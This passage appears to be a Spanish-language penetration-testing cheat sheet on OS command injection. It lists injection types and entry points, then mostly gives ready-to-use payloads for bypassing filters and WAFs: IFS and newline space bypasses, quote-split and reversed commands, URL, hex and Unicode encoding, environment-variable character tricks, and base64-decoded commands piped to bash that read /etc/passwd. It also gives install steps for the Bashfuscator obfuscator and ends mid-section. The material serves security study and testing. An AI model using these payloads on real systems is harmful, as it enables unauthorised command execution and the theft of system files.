Command Injection
Teoria
Command Injection permite ejecutar comandos en el server donde se ejecuta la aplicacion. Ocurre cuando la aplicacion no sanea los datos del usuario y los manda a una funcion que los ejecuta en el sistema.
Tipos Command Injection
In-band Command Injection:
- Identificar input ejecutado por el sistema
- Probar separadores
; && || - Ejecutar comandos visibles
Blind Command Injection
- Preparar listener
- Inyectar payload
- Confirmar ejecución OOB
- Ajustar payload
Time-Based
- Medir tiempo de respuesta normal
- Inyectar sleep/ping
- Detectar retraso
Workflow
-
Detectar puntos de entrada
- GET/POST.
- Headers: User-Agent, Referer, X-Forwarded-For.
- Cookies: Sesiones etc...
- Filenames: Nombre de archivo y metadatos.
-
Probar caracteres blacklisted y whitelisted.
Nota
Se puede usar ffuf con el diccionario de SecLists Fuzzing/command-injection-commix.txt
-
Confirmar ejecucion
-
Si al agregar nuestro payload da error, bypassear espacios, caracteres/palabra blacklisted.
Bypasses
Bypass de separadores
Si los separaddores como ; && || | estan filtrados:
Bypass de espacios/tabs
Para bypassear espacios/tabs.
cat${IFS}/etc/passwd
%09
127.0.0.1%0a${IFS}
127.0.0.1%0a{ls,-la}
127.0.0.1%0a{cat,/etc/passwd}
127.0.0.1%0a${IFS}ls${IFS}-la
Bypass WAF / Comandos blacklisted
Si comandos como cat,ls,id,whoami estan bloqueados:
w'h'o'a'm'i
w'h'o'am'i
w"h"o"am"i
who$@ami
w\ho\am\i
$(echo id)
echo id | base64 -d | sh
127.0.0.1%0aw'h'o'am'i
Bypass de filtros por encoding
Si filtra caracteres especiales se puede encodear.
| Encoding | Ejemplo |
|---|---|
| URL encode | %3B%20id |
| Double URL | %253B%2520id |
| Hex | \x69\x64 |
| Unicode | \u0069\u0064 |
Bypass caracteres usando ENV.
echo ${PATH:0:1}
/
echo ${LS_COLORS:10:1}
;
Para añadir un punto y coma,espacio+id:
127.0.0.1${LS_COLORS:10:1}${IFS}id
Case Sensitive
Se puede modificar el comando haciendole reverse, convirtiendolo en base64 etc...
$(tr "[A-Z]" "[a-z]"<<<"whOaMi")
$(a="whOaMi";printf %s "${a,,}")
echo 'whoami' | rev
$(rev<<<'imaohw')
Podemos convertir a base64 para luego desconvertirlo.
echo -n 'cat /etc/passwd | grep 33' | base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
Nota
Se pueden encontrar mas payloads en: PayloadsAllTheThings
Evasion tools
Bashfuscator
Para instalarlo
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user
cd ./bashfuscator/bin/
Para pasarle el comando que queremos ofuscar: